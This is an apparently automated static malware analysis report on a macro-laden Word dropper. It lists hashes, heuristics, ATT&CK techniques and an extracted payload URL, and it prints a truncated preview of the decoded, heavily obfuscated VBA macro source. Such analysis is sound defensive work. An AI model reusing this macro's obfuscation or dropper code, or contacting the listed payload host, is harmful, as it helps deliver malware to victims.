Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd1f72af160f3402…

MALICIOUS

Office (OLE)

238.0 KB Created: 2018-06-03 21:11:00 Authoring application: Microsoft Office Word First seen: 2018-11-05
MD5: 494771b54d18de0699bf54d1d9719770 SHA-1: 3b832806f953b8777bd2ee1e29cac8bb1857f053 SHA-256: dd1f72af160f340238d14e82fc577a269068e53a9a1fd6d304c18ec1affa8ea8
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Word document containing a VBA macro. The macro utilizes `CreateObject` and appears to be designed to download a payload from the URL `http://fscxzc.top/text.png`. The ClamAV detection `Doc.Dropper.Agent-6571496-0` further supports its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6571496-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6571496-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fscxzc.top/text.png In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 99227 bytes
SHA-256: 9f0f3989dbc1955be35cdc13cc4df13a3dbd83cbbe436547323f9c9a171ba80d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EfIk4A"
Public Function XX8NBSc3i5YYDz6(ByRef pRH679q7fcD871 As String, ByRef THREE As String) As String
Dim QPbxnUuRVvadv8U() As Byte
If Len(Application.UserName) < 100 Then
Dim HFdmiNXsA9wjpRp As String
End If
Dim pM26aICFxsmSj3b As String
pM26aICFxsmSj3b = Application.UserName
Dim W1MJ4p78op9cfH9zG, y05gD2vtA2SCbheyU5n As Integer
y05gD2vtA2SCbheyU5n = Len(pM26aICFxsmSj3b)
Dim MqIra84HdIdKUuWg As Collection
While y05gD2vtA2SCbheyU5n > 9
W1MJ4p78op9cfH9zG = W1MJ4p78op9cfH9zG + 8
y05gD2vtA2SCbheyU5n = y05gD2vtA2SCbheyU5n - 1
Wend
Dim wUta25zSRdMrca6 As Collection
Set wUta25zSRdMrca6 = New Collection
wUta25zSRdMrca6.Add "MOZClQkdPzLxleW1jgPJK2WuQvza5DSVopu6NMMZ2QLjezhfef0XGokU1pvxdJiMe0K5uaoWTxR3qwPdOS6aN5O"
wUta25zSRdMrca6.Add "aEhbX6ss9Fo"
wUta25zSRdMrca6.Add "vE0dEQWqnFaSkKNI8jlJxTVG553iLrrk0mh2ju07nZw9GIzvfjAfCdwbtthIXye6Xx"
wUta25zSRdMrca6.Add "nViOsngagV9zIHDlqLhX0FIxMskx40mQpyIJBvwY6V4Xut9Pu2PLSFIhMtB"
wUta25zSRdMrca6.Add "rfqttHU93k4"
If Application.UserName = "HVQFB149KJW" Then
MsgBox ("YAYUjsPoYty")
Else
Dim mQnx5BOgnLemnW As Integer
End If
Dim aBf0lPEyhkLoT7vP8p() As Byte
Dim Qqk4RiwsKmUDkS, z2oJ90ji50J As Integer
Qqk4RiwsKmUDkS = 5
z2oJ90ji50J = 4
#If asPUS4MJI90 <> 0 Then
asPUS4MJI90 = asPUS4MJI90 + 8
Dim Wn1FxwsscSr As Variant
Else
Dim Wn1FxwsscSr As Object
#End If
If Qqk4RiwsKmUDkS > z2oJ90ji50J Then
For VpQUcFP5uuuuw0 = z2oJ90ji50J To Qqk4RiwsKmUDkS
z2oJ90ji50J = z2oJ90ji50J / Qqk4RiwsKmUDkS
Next VpQUcFP5uuuuw0
End If
If Chr(Tan(CDbl(1.55587206180481))) = C Then
Dim U1zSkE7bG3NOFp As String
Dim uEPSY0AUYPG As String
uEPSY0AUYPG = ayTKLOI4hW3
U1zSkE7bG3NOFp = zi6T4QBAOFE
End If
If (StrComp(U1zSkE7bG3NOFp, uEPSY0AUYPG, vbTextCompare) <> 0) Then
MsgBox ("nHNorX9LDchMEP")
End If
Dim CL6ggu4WSabW1E As Integer
Dim O8GVJvgbHI7 As String
CL6ggu4WSabW1E = 8954
Dim RSEbuEgLnMb As Integer
O8GVJvgbHI7 = Right(CStr(CL6ggu4WSabW1E), Chr(Tan(CDbl(1.55039099610836))))
RSEbuEgLnMb = CInt(O8GVJvgbHI7)
For RYITZLBjoUe = RSEbuEgLnMb To 38
CL6ggu4WSabW1E = CL6ggu4WSabW1E + 2
Next RYITZLBjoUe
Dim Zm0SapiBo5smXg, r62iQdNtKQJ As Integer
Zm0SapiBo5smXg = 1
r62iQdNtKQJ = 2
#If qHd0C3jKfU5 <> 0 Then
qHd0C3jKfU5 = qHd0C3jKfU5 + 6
Dim RJaO9UQOfOc As Variant
Else
Dim RJaO9UQOfOc As Object
#End If
If Zm0SapiBo5smXg > r62iQdNtKQJ Then
For F3Q7zE7UuckImi = r62iQdNtKQJ To Zm0SapiBo5smXg
r62iQdNtKQJ = r62iQdNtKQJ / Zm0SapiBo5smXg
Next F3Q7zE7UuckImi
End If
If Len(Application.UserName) < 100 Then
Dim jcnj00AJRIy2BvI As String
End If
If Len(Application.UserName) < 100 Then
Dim adbpEdTeA87DySo As String
End If
Dim stpfCTuC1oN8sX As Long
Dim vZvHGVyDQSywqH As Integer
Dim BYI4mMPAmUw As String
vZvHGVyDQSywqH = 7352
Dim v4GyzKjkFCS As Integer
BYI4mMPAmUw = Right(CStr(vZvHGVyDQSywqH), Chr(Tan(CDbl(1.55039099610836))))
v4GyzKjkFCS = CInt(BYI4mMPAmUw)
For OCzbKvIwxsw = v4GyzKjkFCS To 61
vZvHGVyDQSywqH = vZvHGVyDQSywqH + 2
Next OCzbKvIwxsw
If Chr(Tan(CDbl(1.55564597092013))) = B Then
Dim Bd1xfDHxJiWloU As String
Dim zJe0rlAdgqn As String
zJe0rlAdgqn = ehMANITcuOm
Bd1xfDHxJiWloU = B76RElhqFgj
End If
If (StrComp(Bd1xfDHxJiWloU, zJe0rlAdgqn, vbTextCompare) <> 0) Then
MsgBox ("rl6OQZfJi6LM4g")
End If
Dim WrRv2oYnVjhtU7, SPQe590EiOq As String
WrRv2oYnVjhtU7 = 1
SPQe590EiOq = 7
#If WrRv2oYnVjhtU7 > SPQe590EiOq Then
Dim G6yAmt4LWTh As Object
#Else
Dim G6yAmt4LWTh As Integer
G6yAmt4LWTh = 1 + 7
Dim b6eVjHQhDWj As Integer
For s7frCNNdWIC = b6eVjHQhDWj To WrRv2oYnVjhtU7
b6eVjHQhDWj = b6eVjHQhDWj + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next s7frCNNdWIC
#End If
Dim Y1tn9fhsaylNIz As Integer
Dim TCnzuiG1vMn As String
Y1tn9fhsaylNIz = 7653
Dim mHzI5kEraOc As Integer
TCnzuiG1vMn = Right(CStr(Y1tn9fhsaylNIz), Chr(Tan(CDbl(1.55039099610836))))
mHzI5k
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.